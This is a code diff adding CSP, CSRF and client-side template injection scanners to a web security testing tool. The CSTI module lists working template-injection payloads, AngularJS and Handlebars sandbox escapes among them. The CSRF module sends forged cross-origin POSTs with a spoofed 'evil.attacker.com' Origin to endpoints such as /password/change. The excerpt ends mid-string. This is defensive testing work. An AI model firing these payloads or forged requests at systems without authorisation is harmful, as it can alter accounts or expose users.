+    SCANNER_NAME = "Content Security Policy (CSP) Auditor"
+    _SCANNER_KEY = "csp"
+
+    def __init__(self, scan_id, target, domain, **kwargs):
+        super().__init__(scan_id, target, domain, **kwargs)
+
+    def run(self) -> list:
+        self.log("INFO", f"[CSP] Auditing Content-Security-Policy on {self.target}...")
+        try:
+            headers = self._fetch_headers()
+            csp = headers.get("content-security-policy", "")
+            csp_ro = headers.get("content-security-policy-report-only", "")
+
+            if not csp and not csp_ro:
+                self.log("WARNING", "[CSP] No Content-Security-Policy header found!")
+                self.add_vuln(
+                    title="Content Security Policy (CSP) Not Configured",
+                    severity="High",
+                    category="Content Security Policy",
+                    cvss_score=7.5,
+                    description=f"The target `{self.target}` does not serve a "
+                        "Content-Security-Policy header. Without CSP, the browser has "
+                        "no policy to enforce, making XSS attacks significantly more "
+                        "damaging as injected scripts run with full page privileges.",
+                    remediation="Implement a strict CSP:\n"
+                        "Content-Security-Policy: default-src 'self'; "
+                        "script-src 'self' 'nonce-{random}'; "
+                        "object-src 'none'; base-uri 'self'; frame-ancestors 'none'",
+                    evidence="No Content-Security-Policy header in response",
+                    request_details=f"GET {self.target}",
+                    response_details="Missing Content-Security-Policy header",
+                    confidence="Confirmed",
+                )
+                return self.vulns
+
+            active_csp = csp or csp_ro
+            label = "CSP-Report-Only" if not csp else "CSP"
+            self.log("INFO", f"[CSP] {label} header found. Parsing directives...")
+
+            if not csp and csp_ro:
+                self.add_vuln(
+                    title="CSP Deployed in Report-Only Mode (Not Enforced)",
+                    severity="Medium",
+                    category="Content Security Policy",
+                    cvss_score=5.3,
+                    description="A Content-Security-Policy-Report-Only header is present but "
+                        "no enforcing CSP header exists. Report-Only mode does not prevent "
+                        "attacks — it only sends violation reports.",
+                    remediation="Promote the policy to Content-Security-Policy once verified.",
+                    evidence="Content-Security-Policy-Report-Only present, no enforcing CSP",
+                    request_details=f"GET {self.target}",
+                    response_details="Report-Only mode CSP detected",
+                    confidence="High",
+                )
+
+            directives = self._parse_csp(active_csp)
+            self._audit_directives(directives, active_csp)
+
+        except Exception as e:
+            self.log("ERROR", f"[CSP] Audit error: {e}")
+
+        self.log(
+            "SUCCESS" if not self.vulns else "WARNING",
+            f"[CSP] Audit complete. {len(self.vulns)} issue(s) found.",
+        )
+        return self.vulns
+
+    def _fetch_headers(self) -> dict:
+        body, status, resp_headers = self._make_request(
+            self.target, return_response_obj=True
+        )
+        if resp_headers:
+            return {k.lower(): v for k, v in resp_headers.items()}
+        return {}
+
+    @staticmethod
+    def _parse_csp(csp: str) -> dict:
+        directives = {}
+        for part in csp.split(";"):
+            part = part.strip()
+            if not part:
+                continue
+            tokens = part.split()
+            if tokens:
+                directives[tokens[0].lower()] = tokens[1:]
+        return directives
+
+    def _audit_directives(self, directives: dict, raw_csp: str):
+        script_src = directives.get("script-src",
+                     directives.get("default-src", []))
+
+        if "'unsafe-inline'" in script_src:
+            self.add_vuln(
+                title="CSP Allows 'unsafe-inline' in script-src",
+                severity="High",
+                category="Content Security Policy",
+                cvss_score=7.4,
+                description="The CSP `script-src` directive includes `'unsafe-inline'`, "
+                    "which allows inline `<script>` blocks and `onclick=` handlers. "
+                    "This completely undermines XSS protection provided by CSP.",
+                remediation="Replace 'unsafe-inline' with nonce-based or hash-based "
+                    "script allowlisting:\n"
+                    "script-src 'self' 'nonce-{server_generated_random}';",
+                evidence=f"script-src contains 'unsafe-inline': {script_src}",
+                payload="'unsafe-inline' in CSP",
+                request_details=f"GET {self.target}",
+                response_details=f"CSP directives: {directives}",
+                confidence="Confirmed",
+            )
+        else:
+            self.log("SUCCESS", "[CSP] 'unsafe-inline' not found in script-src")
+
+        if "'unsafe-eval'" in script_src:
+            self.add_vuln(
+                title="CSP Allows 'unsafe-eval' in script-src",
+                severity="Medium",
+                category="Content Security Policy",
+                cvss_score=5.3,
+                description="The CSP `script-src` allows `eval()`, `new Function()`, "
+                    "and similar dynamic code execution. This weakens XSS mitigation.",
+                remediation="Remove 'unsafe-eval'. Refactor code to avoid eval(). "
+                    "Use JSON.parse() instead of eval() for JSON data.",
+                evidence=f"script-src contains 'unsafe-eval': {script_src}",
+                payload="'unsafe-eval' in CSP",
+                request_details=f"GET {self.target}",
+                response_details=f"CSP directives: {directives}",
+                confidence="Confirmed",
+            )
+
+        for directive, sources in directives.items():
+            if "*" in sources:
+                self.add_vuln(
+                    title=f"CSP Wildcard (*) Source in '{directive}'",
+                    severity="High",
+                    category="Content Security Policy",
+                    cvss_score=7.5,
+                    description=f"The `{directive}` directive allows any origin (`*`), "
+                        "effectively disabling the protection for this resource type.",
+                    remediation=f"Replace `*` in `{directive}` with explicit, "
+                        "trusted origins only.",
+                    evidence=f"{directive}: {' '.join(sources)} contains wildcard",
+                    payload=f"{directive} *",
+                    request_details=f"GET {self.target}",
+                    response_details=f"CSP directive {directive} allows *",
+                    confidence="Confirmed",
+                )
+
+        for scheme in BYPASS_SCHEMES:
+            if scheme in raw_csp:
+                self.add_vuln(
+                    title=f"CSP Bypass via '{scheme}' Scheme Allowed",
+                    severity="Medium",
+                    category="Content Security Policy",
+                    cvss_score=5.5,
+                    description=f"The CSP permits the `{scheme}` scheme, which is commonly "
+                        "abused for CSP bypass techniques (especially data: URIs for script execution).",
+                    remediation=f"Remove `{scheme}` from all CSP directives unless strictly required.",
+                    evidence=f"CSP contains bypass scheme: {scheme}",
+                    payload=f"{scheme} in CSP",
+                    request_details=f"GET {self.target}",
+                    response_details=f"CSP allows scheme: {scheme}",
+                    confidence="High",
+                )
+
+        obj_src = directives.get("object-src", directives.get("default-src", []))
+        if not obj_src or (obj_src != ["'none'"] and "'none'" not in obj_src):
+            self.add_vuln(
+                title="CSP Missing 'object-src none' Directive",
+                severity="Medium",
+                category="Content Security Policy",
+                cvss_score=5.3,
+                description="Without `object-src 'none'`, the browser may load Flash, "
+                    "Java applets, or other plugins that bypass script-src restrictions.",
+                remediation="Add: object-src 'none'; to your CSP.",
+                evidence=f"object-src directive: {obj_src}",
+                request_details=f"GET {self.target}",
+                response_details="object-src not set to 'none'",
+                confidence="High",
+            )
+
+        if "frame-ancestors" not in directives:
+            self.add_vuln(
+                title="CSP Missing 'frame-ancestors' Directive (Clickjacking)",
+                severity="Medium",
+                category="Content Security Policy",
+                cvss_score=5.4,
+                description="The CSP does not include `frame-ancestors`, which controls "
+                    "whether the page can be embedded in iframes. Without it, clickjacking "
+                    "attacks remain possible if X-Frame-Options is also absent.",
+                remediation="Add: frame-ancestors 'none'; (or 'self' if same-origin framing needed)",
+                evidence="Directives present: " + ", ".join(directives.keys()),
+                request_details=f"GET {self.target}",
+                response_details="frame-ancestors directive missing",
+                confidence="High",
+            )
+        else:
+            self.log("SUCCESS", "[CSP] frame-ancestors directive present")
+
+        if "base-uri" not in directives:
+            self.add_vuln(
+                title="CSP Missing 'base-uri' Directive",
+                severity="Low",
+                category="Content Security Policy",
+                cvss_score=3.5,
+                description="Without `base-uri`, an attacker who injects a `<base>` tag "
+                    "can redirect all relative URLs to an attacker-controlled origin.",
+                remediation="Add: base-uri 'self'; to your CSP.",
+                evidence="Directives present: " + ", ".join(directives.keys()),
+                request_details=f"GET {self.target}",
+                response_details="base-uri directive missing",
+                confidence="High",
+            )
+
+        if "report-uri" not in directives and "report-to" not in directives:
+            self.add_vuln(
+                title="CSP Has No Reporting Endpoint Configured",
+                severity="Low",
+                category="Content Security Policy",
+                cvss_score=2.0,
+                description="The CSP does not include a `report-uri` or `report-to` "
+                    "directive. Without reporting, CSP violations go undetected.",
+                remediation="Add: report-uri /csp-report-endpoint; "
+                    "to receive violation reports from browsers.",
+                evidence="Directives present: " + ", ".join(directives.keys()),
+                request_details=f"GET {self.target}",
+                response_details="No report-uri or report-to directive",
+                confidence="High",
+            )
+        else:
+            self.log("SUCCESS", "[CSP] CSP reporting endpoint configured")
+
+        for cdn in CDNS_ALLOWLISTED_BUT_RISKY:
+            if cdn in raw_csp:
+                self.add_vuln(
+                    title=f"CSP Allowlists Risky CDN: {cdn}",
+                    severity="Low",
+                    category="Content Security Policy",
+                    cvss_score=3.5,
+                    description=f"The CSP allowlists `{cdn}`. Public CDNs host thousands "
+                        "of packages; if any contain malicious code or are compromised, "
+                        "your CSP provides no protection.",
+                    remediation="Pin specific script hashes instead of trusting entire CDN origins. "
+                        "Use Subresource Integrity (SRI) for all external scripts.",
+                    evidence=f"CDN {cdn} found in CSP allowlist",
+                    payload=cdn,
+                    request_details=f"GET {self.target}",
+                    response_details=f"CSP allowlists {cdn}",
+                    confidence="Medium",
+                )

backend/scanners/csrf_scanner.py

@@ -0,0 +1,495 @@
+"""
+csrf_scanner.py — Cross-Site Request Forgery (CSRF) Scanner
+============================================================
+Detects CSRF vulnerabilities by:
+  1. Discovering all HTML forms via crawler
+  2. Checking for CSRF tokens in form fields and custom request headers
+  3. Verifying SameSite cookie attributes
+  4. Submitting forms without CSRF tokens to see if the server rejects them
+  5. Checking Content-Type validation on state-changing endpoints
+
+OWASP Top 10: A01:2021 — CVSS 8.8
+"""
+import re, ssl, urllib.parse, urllib.request, urllib.error
+from scanners.base_scanner import BaseScanner
+from utils.anomaly import SizeAnomalyDetector
+
+# Token field name patterns
+CSRF_FIELD_RE = re.compile(
+    r"(csrf|xsrf|_token|authenticity_token|nonce|__RequestVerificationToken"
+    r"|csrfmiddlewaretoken|antiForgery|formToken)", re.I
+)
+
+# Header names that indicate CSRF protection
+CSRF_HEADERS = {
+    "x-csrf-token", "x-xsrf-token", "x-request-id",
+    "x-csrftoken", "x-antiforgery",
+}
+
+
+class CsrfScanner(BaseScanner):
+    SCANNER_NAME = "CSRF Vulnerability Scanner"
+    _SCANNER_KEY = "csrf"
+
+    def __init__(self, scan_id, target, domain, **kwargs):
+        super().__init__(scan_id, target, domain, **kwargs)
+        self._tested = 0
+        self._found  = 0
+        self._seen: set = set()
+        self._size_detector = SizeAnomalyDetector()
+
+    # ------------------------------------------------------------------
+    def run(self) -> list:
+        self.log("INFO", f"[CSRF] Starting CSRF analysis on {self.target}...")
+        try:
+            forms = self._crawl_forms()
+            self.log("INFO", f"[CSRF] Discovered {len(forms)} form(s)")
+
+            for form in forms:
+                self._audit_form(form)
+
+            # Also probe common API/action endpoints
+            self._probe_endpoints()
+
+            # Run advanced CSRF checks
+            self._check_origin_header_validation()
+            self._check_custom_header_validation()
+            self._check_samesite_cookie_attribute()
+            self._test_samesite_lax_vs_strict()
+            self._detect_anti_csrf_patterns()
+            self._test_csrf_size_anomaly()
+
+        except Exception as e:
+            self.log("WARNING", f"[CSRF] Error: {e}")
+
+        self.log(
+            "SUCCESS" if not self.vulns else "WARNING",
+            f"[CSRF] Complete — {self._tested} check(s) | "
+            f"{self._found} CSRF vulnerability/vulnerabilities found",
+        )
+        return self.vulns
+
+    # ------------------------------------------------------------------
+    def _crawl_forms(self) -> list:
+        try:
+            results = self.discovery_context or {}
+            forms = results.get("forms", [])
+            return forms if forms is not None else []
+        except Exception as e:
+            self.log("ERROR", f"[CSRF] _crawl_forms error: {e}")
+            return []
+
+    # ------------------------------------------------------------------
+    def _audit_form(self, form: dict):
+        action  = form.get("action") or self.target
+        method  = form.get("method", "get").upper()
+        fields  = form.get("fields", [])
+        page    = form.get("page_url", self.target)
+
+        # Only POST / PUT / PATCH / DELETE forms are CSRF-relevant
+        if method not in ("POST", "PUT", "PATCH", "DELETE"):
+            return
+
+        key = f"{action}:{method}"
+        if key in self._seen:
+            return
+        self._seen.add(key)
+        self._tested += 1
+
+        field_names = [f.get("name","") for f in fields]
+
+        # ── Check 1: No CSRF token field ──────────────────────────────
+        has_token_field = any(
+            CSRF_FIELD_RE.search(n) for n in field_names if n
+        )
+
+        if not has_token_field:
+            self.log("WARNING",
+                f"[CSRF] No CSRF token field in form at {action} (from {page})")
+
+            # ── Check 2: Try submitting the form without a token ───────
+            if self._submit_without_token_succeeds(action, method, fields):
+                self._found += 1
+                self.log("CRITICAL",
+                    f"[CSRF] CONFIRMED — form at {action} accepted request without token!")
+                self.add_vuln(
+                    title=f"CSRF — Unprotected State-Changing Form at '{action}'",
+                    severity="High",
+                    category="CSRF",
+                    cvss_score=8.8,
+                    description=(
+                        f"The `{method}` form at `{action}` (discovered via `{page}`) "
+                        "does not include a CSRF token and accepted a forged cross-site "
+                        "request in testing.\n\n"
+                        "An attacker can craft a page that silently submits this form on "
+                        "behalf of any authenticated victim who visits it, performing "
+                        "account changes, data deletion, or privilege escalation."
+                    ),
+                    remediation=(
+                        "1. Add a server-generated, per-session CSRF token to every "
+                        "state-changing form.\n"
+                        "2. Validate the token server-side on every POST/PUT/PATCH/DELETE.\n"
+                        "3. Set SameSite=Strict or SameSite=Lax on session cookies.\n"
+                        "4. Verify the Origin / Referer header as a secondary check.\n"
+                        "5. Use the Synchronizer Token Pattern or Double Submit Cookie."
+                    ),
+                    cwe_ids=["CWE-352"],
+                    owasp_category="A01:2021 – Broken Access Control",
+                )
+            else:
+                # Form is protected (token enforced) but field is missing —
+                # could be token injected via JS or header-based; flag as info
+                self.add_vuln(
+                    title=f"CSRF — No Visible Token Field in Form at '{action}'",
+                    severity="Low",
+                    category="CSRF",
+                    cvss_score=3.1,
+                    description=(
+                        f"The `{method}` form at `{action}` contains no visible CSRF token "
+                        "field. The server rejected the tokenless request (possible JS-based "
+                        "or header-based protection), but this should be verified manually."
+                    ),
+                    remediation=(
+                        "Confirm CSRF protection is applied via header inspection or "
+                        "framework documentation. Prefer visible form tokens for defence-in-depth."
+                    ),
+                    cwe_ids=["CWE-352"],
+                    owasp_category="A01:2021 – Broken Access Control",
+                )
+        else:
+            self.log("SUCCESS",
+                f"[CSRF] Form at {action} has CSRF token field: "
+                f"{[n for n in field_names if CSRF_FIELD_RE.search(n or '')]}")
+
+    # ------------------------------------------------------------------
+    def _submit_without_token_succeeds(self, action, method, fields) -> bool:
+        """Submit form with plausible dummy values but no CSRF token.
+        Returns True if the server returns 2xx (not rejected)."""
+        try:
+            data = {}
+            for f in fields:
+                name = f.get("name","")
+                if not name or CSRF_FIELD_RE.search(name):
+                    continue   # skip the token field itself
+                ftype = f.get("type","text").lower()
+                if ftype == "email":
+                    data[name] = "test@example.com"
+                elif ftype in ("number","tel"):
+                    data[name] = "1"
+                else:
+                    data[name] = "csrf_test_value"
+
+            if not data:
+                data = {"test": "csrf_test_value"}
+
+            encoded = urllib.parse.urlencode(data).encode()
+            headers = {
+                "User-Agent":   "LarShield/2.0 CSRF-Probe",
+                "Content-Type": "application/x-www-form-urlencoded",
+                "Origin":       "https://evil.attacker.com",
+                "Referer":      "https://evil.attacker.com/",
+            }
+            headers.update(self.auth_headers or {})
+            body, status = self._make_request(action, method=method, data=encoded, headers=headers, timeout=8)
+            return status in range(200, 300) if body is not None else False
+        except urllib.error.HTTPError as e:
+            return e.code not in (403, 405, 422, 400)
+        except Exception as ex:
+            self.log("ERROR", f"[CSRF] _submit_without_token_succeeds error: {ex}")
+            return False
+
+    # ------------------------------------------------------------------
+    def _probe_endpoints(self):
+        """Probe common action endpoints for missing CSRF protection."""
+        common_actions = [
+            "/account/settings", "/user/update", "/profile/edit",
+            "/password/change", "/email/change", "/admin/action",
+            "/api/user", "/api/account", "/api/settings",
+        ]
+        base = self.target.rstrip("/")
+        for path in common_actions:
+            url = f"{base}{path}"
+            self._tested += 1
+            if self._submit_without_token_succeeds(url, "POST", []):
+                self.log("WARNING",
+                    f"[CSRF] Endpoint {url} accepted cross-origin POST without token")
+                self._found += 1
+                self.add_vuln(
+                    title=f"CSRF — API Endpoint '{path}' Accepts Cross-Origin POST",
+                    severity="Medium",
+                    category="CSRF",
+                    cvss_score=6.5,
+                    description=(
+                        f"The endpoint `{url}` accepted a POST request from a cross-origin "
+                        "`evil.attacker.com` without a CSRF token, Content-Type restriction, "
+                        "or Origin validation."
+                    ),
+                    remediation=(
+                        "Validate the Origin / Referer header on all state-changing API "
+                        "endpoints. Require a CSRF token header (X-CSRF-Token) or use "
+                        "SameSite=Strict cookies."
+                    ),
+                    cwe_ids=["CWE-352"],
+                    owasp_category="A01:2021 – Broken Access Control",
+                )
+
+    # ------------------------------------------------------------------
+    def _check_origin_header_validation(self):
+        """Test if the server validates the Origin header on state-changing endpoints."""
+        test_endpoints = self._crawl_forms()
+        tested_actions = set()
+
+        for form in test_endpoints:
+            action = form.get("action") or self.target
+            method = form.get("method", "post").upper()
+            if method not in ("POST", "PUT", "PATCH", "DELETE"):
+                continue
+            if action in tested_actions:
+                continue
+            tested_actions.add(action)
+            self._tested += 1
+
+            data = {"test": "csrf_origin_check"}
+            encoded = urllib.parse.urlencode(data).encode()
+
+            # PROBE: send request with missing Origin header
+            headers_no_origin = {"User-Agent": "LarShield/2.0 CSRF-Probe", "Content-Type": "application/x-www-form-urlencoded"}
+            body, status_no = self._make_request(action, method=method, data=encoded, headers=headers_no_origin, timeout=8)
+
+            # PROBE: send request with attacker Origin header
+            headers_evil = dict(headers_no_origin)
+            headers_evil["Origin"] = "https://evil.attacker.com"
+            body, status_evil = self._make_request(action, method=method, data=encoded, headers=headers_evil, timeout=8)
+
+            # CONFIRM: if both succeed, Origin validation is missing
+            if status_no and status_evil and status_no in range(200, 300) and status_evil in range(200, 300):
+                self._found += 1
+                self.log("WARNING", f"[CSRF] No Origin header validation at {action}")
+                self.add_vuln(
+                    title=f"CSRF — Missing Origin Header Validation at '{action}'",
+                    severity="High",
+                    category="CSRF",
+                    cvss_score=7.5,
+                    description=f"The endpoint `{action}` accepted requests with no Origin header "
+                        "and with a spoofed Origin header from `evil.attacker.com`. "
+                        "This means the server does not validate the Origin header, making "
+                        "CSRF attacks possible from any origin.",
+                    evidence=f"No-Origin: {status_no}, Attacker-Origin: {status_evil}",
+                    request_details=f"{method} {action} (with and without Origin header)",
+                    response_details=f"Status without Origin: {status_no}, with attacker Origin: {status_evil}",
+                    confidence="Confirmed",
+                    remediation="1. Validate the Origin header on all state-changing requests.\n"
+                        "2. Maintain an allowlist of permitted origins.\n"
+                        "3. Reject requests with unexpected or missing Origin headers.",
+                    cwe_ids=["CWE-352"],
+                    owasp_category="A01:2021 – Broken Access Control",
+                )
+
+    # ------------------------------------------------------------------
+    def _check_custom_header_validation(self):
+        """Test if the server validates a custom CSRF header like X-CSRF-Token or X-Requested-With."""
+        custom_headers = ["X-CSRF-Token", "X-XSRF-Token", "X-Requested-With", "X-CSRF", "X-Antiforgery"]
+        test_endpoints = self._crawl_forms()
+        tested_actions = set()
+
+        for form in test_endpoints:
+            action = form.get("action") or self.target
+            method = form.get("method", "post").upper()
+            if method not in ("POST", "PUT", "PATCH", "DELETE"):
+                continue
+            if action in tested_actions:
+                continue
+            tested_actions.add(action)
+            self._tested += 1
+
+            data = {"test": "csrf_header_check"}
+            encoded = urllib.parse.urlencode(data).encode()
+
+            # Test request with each custom CSRF header
+            for hdr in custom_headers:
+                headers = {
+                    "User-Agent": "LarShield/2.0 CSRF-Probe",
+                    "Content-Type": "application/x-www-form-urlencoded",
+                    hdr: "test-csrf-value",
+                }
+                body, status = self._make_request(action, method=method, data=encoded, headers=headers, timeout=8)
+
+                if status in range(200, 300):
+                    self.log("SUCCESS", f"[CSRF] {action} accepts custom header {hdr} — CSRF protection may be header-based")
+                    self.add_vuln(
+                        title=f"CSRF — Protection Relies on Custom Header '{hdr}'",
+                        severity="Low",
+                        category="CSRF",
+                        cvss_score=0.0,
+                        description=f"The endpoint `{action}` accepted a request with the custom "
+                            f"header `{hdr}`. If the server relies solely on custom headers for "
+                            "CSRF protection (double-submit cookie pattern), this can be bypassed "
+                            "if an attacker can set cookies in the victim's browser.",
+                        evidence=f"Accepted {method} {action} with {hdr}: test-csrf-value",
+                        request_details=f"{method} {action} with header {hdr}",
+                        response_details=f"HTTP {status}",
+                        confidence="Info",
+                        remediation="1. Use SameSite=Strict cookies as defence-in-depth.\n"
+                            "2. Combine custom headers with Origin/Referer validation.\n"
+                            "3. Ensure custom headers cannot be set by third-party scripts.",
+                        cwe_ids=["CWE-352"],
+                        owasp_category="A01:2021 – Broken Access Control",
+                    )
+
+    # ------------------------------------------------------------------
+    def _check_samesite_cookie_attribute(self):
+        """Check if cookies set by the application have SameSite attribute for CSRF protection."""
+        try:
+            result = self._make_request(self.target, timeout=8, return_response_obj=True)
+            if not result or len(result) < 3:
+                return
+            body, status, resp_headers = result
+            if resp_headers is None:
+                return
+            set_cookies = resp_headers.get_all("Set-Cookie") if hasattr(resp_headers, "get_all") else []
+            if not set_cookies:
+                return
+            for raw in set_cookies:
+                samesite_match = re.search(r'SameSite=(Strict|Lax|None)', raw, re.I)
+                if not samesite_match:
+                    cookie_name = raw.split("=")[0] if "=" in raw else "unknown"
+                    self.add_vuln(
+                        title=f"Cookie '{cookie_name}' Missing SameSite Attribute",
+                        severity="Medium",
+                        category="CSRF",
+                        cvss_score=5.3,
+                        description=f"The cookie `{cookie_name}` set by the application does not "
+                            "include the SameSite attribute. Without SameSite, cookies are sent "
+                            "on cross-site requests, enabling CSRF attacks.",
+                        evidence=f"Set-Cookie: {raw[:80]}",
+                        request_details=f"GET {self.target}",
+                        response_details=f"Set-Cookie: {raw[:80]}",
+                        confidence="Confirmed",
+                        remediation="1. Set SameSite=Strict on session cookies.\n"
+                            "2. Use SameSite=Lax for cookies that need to persist across safe navigations.\n"
+                            "3. Avoid SameSite=None unless required and combined with Secure flag.",
+                        cwe_ids=["CWE-352"],
+                        owasp_category="A01:2021 – Broken Access Control",
+                    )
+        except Exception as e:
+            self.log("DEBUG", f"[CSRF] _check_samesite_cookie_attribute error: {e}")
+
+    # ------------------------------------------------------------------
+    def _detect_anti_csrf_patterns(self):
+        """Detect anti-CSRF token patterns in HTML/JS responses to assess protection coverage."""
+        probe_paths = ["/", "/login", "/register", "/account", "/admin", "/api/csrf-token"]
+        base = self.target.rstrip("/")
+
+        csrf_patterns = {
+            "meta[name=\"csrf-token\"]": re.compile(r'meta\s+name=["\']csrf-token["\']', re.I),
+            "X-CSRF-Token header": re.compile(r'X-CSRF-Token', re.I),
+            "csrf_token variable": re.compile(r'(csrfToken|csrf_token|csrfToken)', re.I),
+            "antiForgeryToken": re.compile(r'antiForgeryToken', re.I),
+            "__RequestVerificationToken": re.compile(r'__RequestVerificationToken', re.I),
+        }
+
+        for path in probe_paths:
+            url = f"{base}{path}"
+            body, status = self._make_request(url, timeout=5)
+            if not body:
+                continue
+
+            found_patterns = [name for name, pattern in csrf_patterns.items() if pattern.search(body)]
+
+            if found_patterns:
+                self.log("SUCCESS", f"[CSRF] Anti-CSRF pattern(s) found at {url}: {', '.join(found_patterns)}")
+
+                # Record baseline size for anomaly detection
+                if status and status in range(200, 300):
+                    self._size_detector.record_size(len(body))
+
+                self.add_vuln(
+                    title=f"Anti-CSRF Protection Patterns Detected at '{path}'",
+                    severity="Low",
+                    category="CSRF",
+                    cvss_score=0.0,
+                    description=f"The page `{url}` contains CSRF protection patterns: "
+                        f"{', '.join(found_patterns)}. These should be verified for correct "
+                        "implementation (token uniqueness, per-session binding, server-side validation).",
+                    evidence=f"Patterns found: {', '.join(found_patterns)}",
+                    request_details=f"GET {url}",
+                    response_details=f"HTTP {status}",
+                    confidence="Info",
+                    remediation="Verify that CSRF tokens are: 1) Cryptographically random, "
+                        "2) Bound to the user session, 3) Validated server-side on every request.",
+                    cwe_ids=["CWE-352"],
+                    owasp_category="A01:2021 – Broken Access Control",
+                )
+                return
+
+    def _test_samesite_lax_vs_strict(self):
+        try:
+            result = self._make_request(self.target, timeout=8, return_response_obj=True)
+            if not result or len(result) < 3:
+                return
+            body, status, resp_headers = result
+            if resp_headers is None:
+                return
+            set_cookies = resp_headers.get_all("Set-Cookie") if hasattr(resp_headers, "get_all") else []
+            if not set_cookies:
+                return
+            for raw in set_cookies:
+                lax_match = re.search(r'SameSite=Lax', raw, re.I)
+                if lax_match:
+                    cookie_name = raw.split("=")[0] if "=" in raw else "unknown"
+                    self.add_vuln(
+                        title=f"Cookie '{cookie_name}' Uses SameSite=Lax",
+                        severity="Low",
+                        category="CSRF",
+                        cvss_score=0.0,
+                        description=f"The cookie `{cookie_name}` uses SameSite=Lax. Lax mode permits cookies on top-level GET navigations, which may still enable certain CSRF attacks (e.g., GET-based state changes). Strict mode is recommended for sensitive operations.",
+                        evidence=f"Set-Cookie: {raw[:80]}",
+                        request_details=f"GET {self.target}",
+                        response_details=f"Set-Cookie: {raw[:80]}",
+                        confidence="Info",
+                        remediation="Consider using SameSite=Strict for session cookies on sensitive endpoints to provide stronger CSRF protection.",
+                        cwe_ids=["CWE-352"],
+                        owasp_category="A01:2021 – Broken Access Control",
+                    )
+        except Exception as e:
+            self.log("DEBUG", f"[CSRF] _test_samesite_lax_vs_strict error: {e}")
+
+    def _test_csrf_size_anomaly(self):
+        if not self._size_detector.has_baseline:
+            return
+        test_endpoints = self._crawl_forms()
+        for form in test_endpoints:
+            action = form.get("action") or self.target
+            method = form.get("method", "post").upper()
+            if method not in ("POST", "PUT", "PATCH", "DELETE"):
+                continue
+            data = {"test": "csrf_anomaly_check"}
+            encoded = urllib.parse.urlencode(data).encode()
+            headers = {
+                "User-Agent": "LarShield/2.0 CSRF-Probe",
+                "Content-Type": "application/x-www-form-urlencoded",
+                "Origin": "https://evil.attacker.com",
+            }
+            headers.update(self.auth_headers or {})
+            test_body, test_status = self._make_request(action, method=method, data=encoded, headers=headers, timeout=8)
+            if test_body and self._size_detector.test_size(len(test_body)):
+                self.log("WARNING",
+                         f"[CSRF] Size anomaly at {action}: {len(test_body)} bytes "
+                         f"(z={self._size_detector.z_score(float(len(test_body))):.1f})")
+                self._found += 1
+                self.add_vuln(
+                    title=f"CSRF — Response Size Anomaly at '{action}'",
+                    severity="Medium",
+                    category="CSRF",
+                    cvss_score=5.3,
+                    description=f"The endpoint `{action}` returned an anomalous response size ({len(test_body)} bytes) "
+                        "when accessed without a valid CSRF token. This may indicate partial CSRF protection that "
+                        "doesn't fully block forged requests.",
+                    evidence=f"Response size: {len(test_body)} bytes (z-score anomaly)",
+                    request_details=f"{method} {action} (without CSRF token)",
+                    response_details=f"HTTP {test_status}, body length: {len(test_body)}",
+                    confidence="Medium",
+                    remediation="Ensure CSRF tokens are validated server-side on all state-changing requests.",
+                    cwe_ids=["CWE-352"],
+                    owasp_category="A01:2021 – Broken Access Control",
+                )

backend/scanners/csti_scanner.py

@@ -0,0 +1,186 @@
+"""
+csti_scanner.py — Client-Side Template Injection (CSTI) Scanner
+===============================================================
+Distinct from SSTI (server-side). CSTI targets AngularJS/Vue sandbox escapes
+that execute entirely in the browser — the server never sees the payload.
+Detects AngularJS ng-app scope, Vue template markers, and reflected template
+expression delimiters in the response.
+"""
+import re, urllib.parse
+from scanners.base_scanner import BaseScanner
+
+CSTI_PAYLOADS = [
+    ("{{7*7}}",                          "AngularJS template expression — expects 49 in response"),
+    ("{{constructor.constructor('7*7')()|toString}}", "AngularJS sandbox escape"),
+    ("{{$eval('7*7')}}",                 "AngularJS $eval injection"),
+    ("{{$on.constructor('alert(1)')()}}", "AngularJS sandbox escape v2"),
+    ("{{a='constructor';b='alert(1)';a[b]()}}", "AngularJS sandbox escape via constructor"),
+    ("{{7*7}}",                          "Vue.js template expression"),
+    ("${7*7}",                           "ES6 template literal injection"),
+    ("{{{7*7}}}",                        "Handlebars unescaped expression"),
+    ("{{_openBlock()}}",                 "Vue 3 reactivity probe"),
+    ("{{_observe}}",                     "Vue reactivity detection"),
+    ("{{__ob__}}",                       "Vue observer detection"),
+    ("{{$parent.$parent.$options}}",     "Vue component traversal"),
+    ("{{#with 'sse' as |obj|}}{{obj.constructor.constructor('alert(1)')()}}{{/with}}", "Handlebars SSTI escape"),
+    ("{{7*7}}",                          "Generic template expression"),
+]
+
+FRAMEWORK_MARKERS = {
+    "angular": ["ng-app", "ng-controller", "ng-model", "angular.js", "angular.min.js",
+                "x-ng-", "data-ng-", "@angular/", "angularjs"],
+    "vue":     ["v-bind", "v-model", "v-for", "v-if", "vue.js", "vue.min.js",
+                "Vue.createApp", "createApp(", "@vue/"],
+    "react":   ["react.js", "react.min.js", "ReactDOM", "data-reactroot"],
+    "handlebars": ["handlebars", "Handlebars", "{{", "{{{", "template: Handlebars"],
+}
+
+
+class CstiScanner(BaseScanner):
+    SCANNER_NAME = "Client-Side Template Injection (CSTI) Scanner"
+    _SCANNER_KEY = "csti"
+
+    def __init__(self, scan_id, target, domain, **kwargs):
+        super().__init__(scan_id, target, domain, **kwargs)
+
+    def run(self) -> list:
+        self.log("INFO", f"[CSTI] Scanning for client-side template injection on {self.target}...")
+        html, status = self._make_request(self.target)
+        if html is None:
+            self.log("WARNING", f"[CSTI] Error fetching page")
+            return self.vulns
+
+        detected_fw = []
+        html_lower = html.lower()
+        for fw, markers in FRAMEWORK_MARKERS.items():
+            if any(m.lower() in html_lower for m in markers):
+                detected_fw.append(fw)
+                self.log("INFO", f"[CSTI] Detected framework: {fw}")
+
+        if not detected_fw:
+            self.log("SUCCESS", "[CSTI] No client-side template frameworks detected.")
+            return self.vulns
+
+        parsed = urllib.parse.urlparse(self.target)
+        qs = urllib.parse.parse_qsl(parsed.query)
+
+        tested = False
+        for k, v in qs[:3]:
+            for payload, desc in CSTI_PAYLOADS:
+                injected = [(k_p, payload if k_p == k else v_p) for k_p, v_p in qs]
+                url = parsed._replace(query=urllib.parse.urlencode(injected)).geturl()
+                resp, rstatus = self._make_request(url)
+                if resp is None:
+                    continue
+                tested = True
+                if "49" in resp and payload in ("{{7*7}}", "${7*7}"):
+                    self.add_vuln(
+                        title=f"CSTI Confirmed — Template Expression Evaluated in `{k}`",
+                        severity="High",
+                        category="Client-Side Template Injection",
+                        cvss_score=8.0,
+                        description=f"Injecting `{payload}` into `{k}` caused the server to "
